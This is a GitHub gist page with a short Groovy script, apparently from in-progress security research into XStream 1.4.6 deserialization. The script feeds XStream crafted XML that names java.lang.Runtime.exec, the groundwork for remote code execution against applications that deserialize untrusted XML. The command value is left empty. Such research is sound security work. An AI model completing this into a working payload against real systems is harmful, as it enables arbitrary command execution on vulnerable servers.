Skip to content

Instantly share code, notes, and snippets.

@DinisCruz
Created December 26, 2013 12:03
Show Gist options
  • Select an option

  • Save DinisCruz/8132915 to your computer and use it in GitHub Desktop.

Select an option

Save DinisCruz/8132915 to your computer and use it in GitHub Desktop.
XStream PoC development
/*<!--<method>
<class>com.foo.MyThing</class>
<name>doStuff</name>
<parameter-types>
<class>java.lang.String</class>
<class>java.util.Iterator</class>
</parameter-types>
</method>()-->
*/
def groovyExecution = new GroovyExecution();
def projectLocation= eclipse.workspace.getRoot().getProject("XStreamPoC").getLocation()
def xstreamJar = projectLocation.append("lib/xstream-1.4.6.jar").toString();
groovyExecution.addRefToGroovyShell(xstreamJar);
def script = """
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver
def xstream = new XStream(new DomDriver())
xml = \"\"\"
<method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
<parameter-value>
</parameter-value>
</method>
\"\"\"
return xstream.fromXML(xml);
return xstream;
""";
groovyExecution.executeScript(script);
return groovyExecution;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment